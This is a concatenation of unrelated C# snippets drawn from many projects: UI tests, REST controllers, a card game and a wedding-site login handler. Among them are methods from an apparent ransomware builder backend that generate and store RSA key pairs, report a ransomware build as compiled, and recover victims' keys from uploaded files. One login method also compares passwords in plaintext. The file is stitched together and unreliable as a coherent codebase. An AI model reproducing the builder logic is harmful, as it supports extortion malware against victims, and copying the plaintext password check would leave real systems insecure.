// Place IApp extension methods here for custom functionality // eg. a cutom swipe or scroll gesture that could be used on any page, element, etc. public static void SwipeLeftOnElement(this IApp app, AppResult element) { var r = element.Rect; app.DragCoordinates(r.CenterX, r.CenterY, r.X, r.CenterY); }
static void WriteAppResult (AppResult appResult) { var classText = string.Format (" {0, -10} : {1}", "Class", appResult.Class); var descriptionText = string.Format (" {0, -10} : {1}", "Description", appResult.Description); var enabledText = string.Format (" {0, -10} : {1}", "Enabled", appResult.Enabled); var idText = string.Format (" {0, -10} : {1}", "Id", appResult.Id); var labelText = string.Format (" {0, -10} : {1}", "Label", appResult.Id); var textText = string.Format (" {0, -10} : {1}", "Text", appResult.Text); var rectText = string.Format (" {0, -10}", "Rect"); var rectContentsText = string.Format (" [X:{0} Y:{1} W:{2} H:{3}] [CX:{4} CY:{5}]", appResult.Rect.X, appResult.Rect.Y, appResult.Rect.Width, appResult.Rect.Height, appResult.Rect.CenterX, appResult.Rect.CenterY ); queryWriter.WriteLine (classText); queryWriter.WriteLine (descriptionText); queryWriter.WriteLine (enabledText); queryWriter.WriteLine (idText); queryWriter.WriteLine (labelText); queryWriter.WriteLine (textText); queryWriter.WriteLine (rectText); queryWriter.WriteLine (rectContentsText); queryWriter.WriteLine(); }
public async Task <IActionResult> Get([FromQuery][QueryObject] QCEventQueryFilter filter, [FromQuery] QCEventQuerySort sort, [FromQuery] QCEventQueryProjection projection, [FromQuery] QCEventQueryPaging paging, [FromQuery] QCEventQueryOptions options) { var validationData = _service.ValidateGetQCEvents( User, filter, sort, projection, paging, options); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } var result = await _service.QueryQCEventDynamic( projection, options, filter, sort, paging, Settings.Instance.QCEventImageFolderPath); if (options.single_only && result == null) { return(NotFound(AppResult.NotFound())); } return(Ok(AppResult.Success(result))); }
public async Task <IActionResult> Get([FromQuery][QueryObject] ProductionBatchQueryFilter filter, [FromQuery] ProductionBatchQuerySort sort, [FromQuery] ProductionBatchQueryProjection projection, [FromQuery] ProductionBatchQueryPaging paging, [FromQuery] ProductionBatchQueryOptions options) { var validationData = _service.ValidateGetProductionBatchs( User, filter, sort, projection, paging, options); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } var result = await _service.QueryProductionBatchDynamic( projection, options, filter, sort, paging); if (options.single_only && result == null) { return(NotFound(AppResult.NotFound())); } return(Ok(AppResult.Success(result))); }
public async Task <IActionResult> Get([FromQuery][QueryObject] AreaQueryFilter filter, [FromQuery] AreaQuerySort sort, [FromQuery] Business.Models.AreaQueryProjection projection, [FromQuery] AreaQueryPaging paging, [FromQuery] AreaQueryOptions options) { var validationData = _service.ValidateGetAreas( filter, sort, projection, paging, options); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } var result = await _service.QueryAreaDynamic( projection, validationData.TempData, filter, sort, paging, options); if (options.single_only && result == null) { return(NotFound(AppResult.NotFound())); } return(Ok(AppResult.Success(data: result))); }
public IActionResult GetDetail(string code, [FromQuery] RoomQueryProjection projection, [FromQuery] RoomQueryOptions options, bool hanging = false) { var checkerValid = projection.GetFieldsArr().Contains(RoomQueryProjection.CHECKER_VALID); projection = new RoomQueryProjection { fields = RoomQueryProjection.DETAIL }; var entity = _service.Rooms.Code(code).FirstOrDefault(); if (entity == null) { return(NotFound(AppResult.NotFound())); } var validationData = _service.ValidateGetRoomDetail(entity, hanging, options); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } if (hanging) { _service.ReleaseHangingRoomByHangingUserId(UserId); _service.ChangeRoomHangingStatus(entity, true, UserId); context.SaveChanges(); } var obj = _service.GetRoomDynamic(entity, projection, options); if (checkerValid) { var isRoomChecker = User.IsInRole(RoleName.ROOM_CHECKER); var valid = _memberService.AreaMembers.OfArea(entity.BuildingAreaCode).Select(o => o.MemberId) .Contains(UserId) && isRoomChecker; obj["checker_valid"] = valid; } return(Ok(AppResult.Success(data: obj))); }
public async Task <AppResult> CreateRansomware(GenerateRansomwareDTO model) { AppResult result = new AppResult(); try { model.HostsList.AddRange(model.Hosts.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray()); model.ExtensionsList.AddRange(model.Extensions.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray()); model.ProcessesList.AddRange(model.Processes.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray()); model.DirsList.AddRange(model.Dirs.Trim('[', ']').Split(",").Select(x => x.Trim('"')).ToArray()); var rsa_keys = GenerateRsaKeys(); model.PublicKey = rsa_keys.PublicKey; var edit_ransomware = await EditBaphometFiles(model); if (edit_ransomware.success == true) { Ransomware ransomware = new Ransomware() { Name = model.Name, Description = model.Description, ReleaseDate = DateTime.Now, PublicKey = rsa_keys.PublicKey, PrivateKey = rsa_keys.PrivateKey }; _context.Ransomware.Add(ransomware); await _context.SaveChangesAsync(); result.message = "Your ransomare has been compiled successfully!"; } } catch (Exception ex) { result.success = false; result.message = ex.Message; } return(result); }
public AppResult UpdateCategory(Guid ParamId, Category edit_object) { var result = new AppResult(); try { var response = db.Categories.FirstOrDefault(x => x.IdCategory == ParamId); if (response != null) { response.Name = edit_object.Name; response.Description = edit_object.Description; response.Color = edit_object.Color; db.SaveChanges(); } string msg = "Categoria Actualizada com sucesso"; return(result.Good(msg, response)); } catch (Exception e) { return(result.Bad("Erro ao procesar operação, tente novamente. " + e)); } }
public IActionResult ChangeStatus(int id, ChangeProductionBatchStatusModel model) { var entity = _service.ProductionBatchs.Id(id).FirstOrDefault(); if (entity == null) { return(NotFound(AppResult.NotFound())); } var validationData = _service.ValidateChangeProductionBatchStatus(User, entity, model); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } _service.ChangeProductionBatchStatus(entity, model); context.SaveChanges(); // must be in transaction var ev = _ev_service.ChangeProductionBatchStatus(entity, User); context.SaveChanges(); return(NoContent()); }
public IActionResult Update(int id, UpdateDeviceConfigModel model) { var entity = _service.DeviceConfigs.Id(id).FirstOrDefault(); if (entity == null) { return(NotFound(AppResult.NotFound())); } var validationData = _service.ValidateUpdateDeviceConfig(User, entity, model); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } _service.UpdateDeviceConfig(entity, model); context.SaveChanges(); if (entity.IsCurrent) { Startup.SetCurrentConfig(entity); } return(NoContent()); }
public IActionResult Update(int id, UpdateDefectTypeModel model) { var entity = _service.DefectTypes.Id(id).FirstOrDefault(); if (entity == null) { return(NotFound(AppResult.NotFound())); } var validationData = _service.ValidateUpdateDefectType(User, entity, model); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } _service.UpdateDefectType(entity, model); context.SaveChanges(); // must be in transaction var ev = _ev_service.UpdateDefectType(entity, User); context.SaveChanges(); return(NoContent()); }
public IActionResult HandleException() { dynamic context = HttpContext.Features.Get <IExceptionHandlerFeature>(); if (context == null || context.Error == null) { return(LocalRedirect(Constants.Routing.DASHBOARD)); } var exception = context.Error as Exception; if (exception != null) { _logger.Error(exception); } var isApiRequest = context.Path.StartsWith("/api"); if (isApiRequest) { #if DEBUG return(Error(AppResult.Error(data: exception))); #else return(Error(AppResult.Error())); #endif } if (exception == null) { return(LocalRedirect(Constants.Routing.DASHBOARD)); } HttpContext.Items["model"] = this; SetPageInfo(); #if !RELEASE Message = exception.Message; #else Message = "Something's wrong. Please contact admin for more information."; #endif RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier; return(this.ErrorView()); }
public async Task <IActionResult> DecrypSecretKey(IFormFile file) { AppResult <string> result = new AppResult <string>(); try { if (file != null) { var secret_key = await _service.GetSecretKey(file); if (secret_key.success != false) { result = secret_key; } } } catch (Exception ex) { result.success = false; result.message = ex.Message; } return(Json(result)); }
public async Task <IActionResult> GetRoomBookings([FromQuery][QueryObject] BookingQueryFilter filter, [FromQuery] BookingQuerySort sort, [FromQuery] BookingQueryProjection projection, [FromQuery] BookingQueryPaging paging, [FromQuery] BookingQueryOptions options) { var validationData = _service.ValidateGetRoomBookings( User, filter, sort, projection, paging, options); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } var result = await _service.QueryBookingDynamic( User, member : null, relationship : null, projection, validationData.TempData, filter, sort, paging, options); if (options.single_only && result == null) { return(NotFound(AppResult.NotFound())); } return(Ok(AppResult.Success(data: result))); }
private async Task <AppResult <List <GameCard> > > CreateGameCard(Guid cardId, User user, int duplicatesCount) { var card = await this.dbContext.Cards.SingleOrDefaultAsync(_ => _.Id == cardId); if (card == null) { return(VoidAppResult.Error(ErrorPreset.OnLoadingData).GetErrorAppResult <List <GameCard> >()); } var cards = new List <GameCard>(); for (var i = 0; i < duplicatesCount; i++) { cards.Add(new GameCard { Id = Guid.NewGuid(), Health = card.BaseHealth, User = user, Card = card, CardLocation = CardLocation.Cellar }); } return(AppResult <List <GameCard> > .Success(cards)); }
private async Task <AppResult <User> > GetCurrentTurnPlayer(Game game, CancellationToken cancellationToken) { if (game.UserParticipations.Any(_ => _.ClassType == null)) { return(AppResult <User> .Success(null)); } var lastEndTurnResult = await this.GetLastEndTurn(game.Id); if (lastEndTurnResult.IsErrorResult) { return(lastEndTurnResult.GetErrorAppResult <User>()); } var lastEndTurn = lastEndTurnResult.SuccessReturnValue; if (lastEndTurn == null) { return(AppResult <User> .Success(game.UserParticipations.OrderBy(_ => _.ClassType).First().User)); } return(AppResult <User> .Success(game.UserParticipations.Single(_ => _.Mail != lastEndTurn.SourceEntity.User.Mail).User)); }
public IActionResult Create(CreateQCEventModel model) { var validationData = _service.ValidateCreateQCEvent(User, model); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } DateTime createdTime; createdTime = validationData.GetTempData <DateTime>(nameof(createdTime)); var entity = _service.CreateQCEvent(model, createdTime); context.SaveChanges(); if (Startup.KafkaProducer != null) { _service.ProduceEventToKafkaServer(Startup.KafkaProducer, entity, Startup.CurrentConfig, Settings.Instance.QCEventImageFolderPath, Constants.Paths.STATE_PATH); } return(Created($"/{Business.Constants.ApiEndpoint.RESOURCE_API}?id={entity.Id}", AppResult.Success(entity.Id))); }
static string WaitForLabelToSayAnything(string labelName) { try { string text = ""; app.WaitFor(() => { AppResult[] results = app.Query(labelName); if (results.Length < 1) { return(false); } AppResult label = results[0]; text = label.Text != "" ? label.Text : text; return(label.Text != ""); }, timeout: TimeSpan.FromSeconds(5)); return(text); } catch (Exception) { return(null); } }
public void OnActionExecuting(ActionExecutingContext context, object filter) { if (context.ModelState.IsValid || FilterHelper.ShouldSkip(filter, context)) { return; } var resultProvider = context.HttpContext.RequestServices.GetRequiredService <IValidationResultProvider>(); var resultLocalizer = context.HttpContext.RequestServices.GetRequiredService <IStringLocalizer <ResultCode> >(); var results = resultProvider.Results .Where(o => !o.IsValid).SelectMany(o => o.Errors).MapTo <AppResult>().ToArray(); var validationData = new ValidationData(resultLocalizer); validationData.Fail(results); var appResult = AppResult.FailValidation(resultLocalizer, validationData, validationData.Message); context.Result = new BadRequestObjectResult(appResult); context.HttpContext.Items[nameof(AutoValidateFilterHandler)] = true; }
public async Task <AppResult <List <DtoGame> > > GetGames(CancellationToken cancellationToken = default(CancellationToken)) { var loggedInUserMail = this.loginManager.LoggedInUser.Mail; List <Game> games = await this.dbContext.Games.IncludeUserParticipations().Where(_ => _.UserParticipations.Any(x => x.Mail == loggedInUserMail)) .Include(_ => _.UserParticipations) .ThenInclude(_ => _.User) .Include(_ => _.UserParticipations) .ThenInclude(_ => _.ClassChoices) .ToListAsync(); List <DtoGame> dtoGames = new List <DtoGame>(); foreach (Game game in games) { var currentTurnPlayerResult = await this.GetCurrentTurnPlayer(game, cancellationToken); if (currentTurnPlayerResult.IsErrorResult) { return(currentTurnPlayerResult.GetErrorAppResult <List <DtoGame> >()); } var currentTurnPlayerMail = currentTurnPlayerResult.SuccessReturnValue?.Mail; var opponentMail = game.UserParticipations.Single(_ => _.Mail != loggedInUserMail).User.Mail; var newDtoGame = new DtoGame { Id = game.Id, CurrentTurnPlayer = currentTurnPlayerMail, BeginDate = game.BeginDate, Status = MapGameStatus(game, currentTurnPlayerMail), OpponentMail = opponentMail }; dtoGames.Add(newDtoGame); } return(AppResult <List <DtoGame> > .Success(dtoGames)); }
public async Task <AppResult <string> > GetSecretKey(IFormFile file) { AppResult <string> result = new AppResult <string>(); try { var privatekey_list = await _context.Ransomware.Select(x => x.PrivateKey).ToListAsync(); var ms = new MemoryStream(); file.OpenReadStream().CopyTo(ms); byte[] dataToDecrypt = ms.ToArray(); var get_secretkey = new AppResult <string>(); foreach (var privatekey in privatekey_list) { get_secretkey = RSADecrypt(dataToDecrypt, privatekey); if (get_secretkey.success != false) { result.MRObject = get_secretkey.MRObject; result.message = "key found!"; break; } } if (get_secretkey == null) { result.success = false; result.message = "key not found"; } } catch (Exception ex) { result.success = false; result.message = ex.Message; } return(result); }
public async Task <AppResult> CreateAgent(CreateAgentVM model) { try { var phoneNumberUtil = PhoneNumberUtil.GetInstance(); PhoneNumber phoneNumber = null; if (model.MobileNumber.StartsWith('+')) { if (model.MobileNumber.Length < 8) { AppResult.Error(ErrorHandler.GeneralErrorMessage, ResponseMessages.InvalidPhoneNumber); } phoneNumber = phoneNumberUtil.Parse(model.MobileNumber, null); } if (model.MobileNumber.Length < 8) { AppResult.Error(ErrorHandler.GeneralErrorMessage, ResponseMessages.InvalidPhoneNumber); } phoneNumber = phoneNumberUtil.Parse(model.MobileNumber, model.CountryCode); model.MobileNumber = $"{phoneNumber.CountryCode}{phoneNumber.NationalNumber}"; var resp = await _agentRepository.CreateAgentInDb(model); return(ErrorHandler.AgentCreateError.Equals(resp) ? AppResult.Error(resp) : AppResult.Success("Successfully created agent", resp)); } catch (Exception e) { _logger.LogError(e, e.ToString()); return(AppResult.Error("An error occured", e.ToString())); } }
public AppResult CreateCategory(Category new_object) { var result = new AppResult(); try { Category _category = new Category { IdCategory = Guid.NewGuid(), Name = new_object.Name, Description = new_object.Description, Color = new_object.Color, }; var response = db.Categories.Add(_category); db.SaveChanges(); string msg = "Categoria cadastrada com sucesso"; return(result.Good(msg, _category)); } catch (Exception e) { result.Bad(e.Message); return(result.Bad("Erro ao procesar operação, tente novamente.")); } }
public async Task <AppResult> DeleteRansom(int id) { AppResult result = new AppResult(); try { var record_to_delete = await _context.Ransomware.Where(x => x.Id == id).FirstOrDefaultAsync(); if (record_to_delete != null) { _context.Ransomware.Remove(record_to_delete); await _context.SaveChangesAsync(); result.success = true; result.message = "record delete"; } } catch (Exception ex) { result.success = false; result.message = ex.Message; } return(result); }
public AppResult <string> RSADecrypt(byte[] dataToDecrypt, string privatekey) { AppResult <string> result = new AppResult <string>(); try { byte[] decryptedData; using (RSACryptoServiceProvider rsa = new RSACryptoServiceProvider()) { rsa.FromXmlString(privatekey); decryptedData = rsa.Decrypt(dataToDecrypt, false); } UnicodeEncoding byteConverter = new UnicodeEncoding(); var secretkey = byteConverter.GetString(decryptedData); result.MRObject = secretkey; } catch (Exception ex) { result.success = false; result.message = ex.Message; } return(result); }
public async Task <IActionResult> GetManagedRequests([FromQuery][QueryObject] BookingQueryFilter filter, [FromQuery] BookingQuerySort sort, [FromQuery] BookingQueryProjection projection, [FromQuery] BookingQueryPaging paging, [FromQuery] BookingQueryOptions options) { var validationData = _service.ValidateGetBookings( User, BookingPrincipalRelationship.Manager, filter, sort, projection, paging, options); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } var member = _memberService.Members.Id(UserId).FirstOrDefault(); var result = await _service.QueryBookingDynamic( User, member, BookingPrincipalRelationship.Manager, projection, validationData.TempData, filter, sort, paging, options); if (options.single_only && result == null) { return(NotFound(AppResult.NotFound())); } return(Ok(AppResult.Success(data: result))); }
public void ListViewDemoPageReflesh_Test() { var mainPage = new MainPageObject(app); mainPage.TapTableTextCellByName("ListView"); var marked = "ListViewDemoPage.ListView"; app.WaitForElement(x => x.Marked(marked)); // Get the centeral coordinate of the first cell in ListView. AppResult firstCellInList = null; if (platform == Platform.Android) { firstCellInList = app.Query(x => x.Class("ViewCellRenderer_ViewCellContainer").Index(0)).FirstOrDefault(); } else if (platform == Platform.iOS) { firstCellInList = app.Query(x => x.Class("Xamarin_Forms_Platform_iOS_ViewCellRenderer_ViewTableCell")).FirstOrDefault(); } var firstCenterX = firstCellInList.Rect.CenterX; var firstCenterY = firstCellInList.Rect.CenterY; // Get the central coordinate of the ListView. var listview = app.Query(x => x.Marked(marked))[0]; var listviewCenterX = listview.Rect.CenterX; var listviewCenterY = listview.Rect.CenterY; // Drag from the center of the first cell to the center of the ListView app.DragCoordinates(firstCenterX, firstCenterY, listviewCenterX, listviewCenterY); // Wait for the indicator disappering WaitForIndicatorToDisappear(3, 10); }
public async Task <IActionResult> DeleteConfirm(int Id) { AppResult result = new AppResult(); try { var model = await _context.OrderMast.Where(a => a.Id == Id).FirstOrDefaultAsync(); _context.Remove(model); await _context.SaveChangesAsync(); result = new AppResult { ResultType = ResultType.Success, Message = "Successfully Deleted." }; return(Json(result)); } catch (Exception ex) { result = new AppResult { ResultType = ResultType.Failed, Message = "Exception occur with the system. please contact to vendor." }; return(Json(result)); } }
public IActionResult Delete(string id) { try { var entity = _service.Users.Id(id).FirstOrDefault(); if (entity == null) { return(NotFound(AppResult.NotFound())); } var validationData = _service.ValidateDeleteAppUser(User, entity); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } _service.DeleteAppUser(entity); context.SaveChanges(); return(NoContent()); } catch (DbUpdateException e) { _logger.Error(e); return(BadRequest(AppResult.DependencyDeleteFail())); } }
public AppResult ValidateUser(string username, string password) { var res = new AppResult(); try { var user = db.User.FirstOrDefault(x => x.UserName == username); if (user == null) { return(res.Bad("There is no user")); } if (user.Password == password) { return(res.Good(user)); } return(res); } catch (Exception ex) { throw new Exception(ex.Message); } }
public async Task <IActionResult> Update(string id, UpdateAppUserModel model) { var entity = _service.Users.Id(id).FirstOrDefault(); if (entity == null) { return(NotFound(AppResult.NotFound())); } var validationData = _service.ValidateUpdateAppUser(User, entity, model); if (!validationData.IsValid) { return(BadRequest(AppResult.FailValidation(data: validationData))); } _service.UpdateAppUser(entity, model); context.SaveChanges(); var result = await _service.UpdatePasswordIfAvailable(entity, model); if (!result.Succeeded) { throw new Exception("Error change password"); } return(NoContent()); }
public static void LogQueryResult (AppResult[] resultsForQuery) { foreach (AppResult result in resultsForQuery) WriteAppResult (result); }
public void ProcessRequest(HttpContext context) { //context.Response.ContentType = "text/plain"; try { string operaType = context.Request["operation"]; if (!string.IsNullOrEmpty(operaType)) { operaType = operaType.Trim().ToLower(); if (operaType == "login") { string email = context.Request["email"]; string pwd = context.Request["pwd"]; if (string.IsNullOrEmpty(email) || string.IsNullOrEmpty(pwd)) { context.Response.Write(AppResult<string>.GetResult("錯誤的參數(郵箱/密碼為空)")); } else { email = email.Trim(); pwd = pwd.Trim(); //DO_Login.UO_Login uoLogin = BO_Login.GetObjectByEamilAndPassword(email, pwd); WeddingLibrary.Profiles.Entities.UO_User login = WeddingLibrary.Profiles.Imp.Login.GetLogin(email, pwd); if (login != null) { WeddingLibrary.App.Login appLg = new WeddingLibrary.App.Login(); DataMapping.ObjectHelper.CopyAttributes<WeddingLibrary.Profiles.Entities.UO_User, WeddingLibrary.App.Login>(login, appLg); AppResult<WeddingLibrary.App.Login> ar = new AppResult<WeddingLibrary.App.Login>(appLg, string.Empty); string jsonStr = Newtonsoft.Json.JsonConvert.SerializeObject(ar); WeddingLibrary.SessionObject sess = new WeddingLibrary.SessionObject(); sess.Profile = new WeddingLibrary.Profiles.LoginProfile(); sess.Profile.LoginUser = login; WeddingLibrary.SessionHelper.SetSession(sess); context.Response.Write(jsonStr); } else { context.Response.Write(AppResult<string>.GetResult("錯誤的郵箱/密碼")); } } } else if (operaType == "register") { DO_Login.UO_Login addLogin = new DO_Login.UO_Login(); CommonLibrary.WebObject.WebHelper.SetValues<DO_Login.UO_Login>(addLogin, "RG_"); string error = string.Empty; if (!string.IsNullOrEmpty(addLogin.LoginEmail)) { if (BO_Login.GetObject(addLogin.LoginEmail) == null) { if (!string.IsNullOrEmpty(addLogin.LoginPassword)) addLogin.LoginPassword = WeddingLibrary.Functions.Common.DesEncrypt(addLogin.LoginPassword); System.Data.IDbConnection conn = addLogin.GetConnection(); System.Data.IDbTransaction tran = conn.BeginTransaction(); bool success = false; try { addLogin.CreateBy = addLogin.LoginEmail; if (addLogin.Insert(conn, tran) > 0) { DO_BigDate.UO_BigDate bigDate = new DO_BigDate.UO_BigDate(); CommonLibrary.WebObject.WebHelper.SetValues<DO_BigDate.UO_BigDate>(bigDate, "RG_"); bigDate.CreateBy = addLogin.LoginEmail; int bigDateIndex = bigDate.GetRecordsCount() + 1; //bigDate.BigDateCode = string.Concat(DateTime.Now.ToString("yyyyMMddHHmmssfff"), bigDateIndex.ToString()); bigDate.BigDateCode = bigDateIndex.ToString("00000"); if (bigDate.Insert(conn, tran) > 0) { DO_BigDateDetail.UO_BigDateDetail bigDateDetail = new DO_BigDateDetail.UO_BigDateDetail(); bigDateDetail.BigDateCode = bigDate.BigDateCode; bigDateDetail.Email = addLogin.LoginEmail; bigDateDetail.CreateBy = addLogin.LoginEmail; if (bigDateDetail.Insert(conn, tran) > 0) { success = true; } } } if (success) { tran.Commit(); } } catch (Exception ex) { tran.Rollback(); error = ex.Message; } finally { conn.Close(); } } else { error = "郵箱已經被使用"; } } else { error = "參數錯誤"; } //error = Newtonsoft.Json.JsonConvert.SerializeObject(addLogin); context.Response.Write(AppResult<string>.GetResult(error)); } else { context.Response.Write(AppResult<string>.GetResult("參數錯誤(未知參數)")); } } else { context.Response.Write(AppResult<string>.GetResult("參數錯誤")); } } catch (Exception ex) { Logging.Files.Log.Error(ex); context.Response.Write(AppResult<string>.GetResult(ex.Message)); } }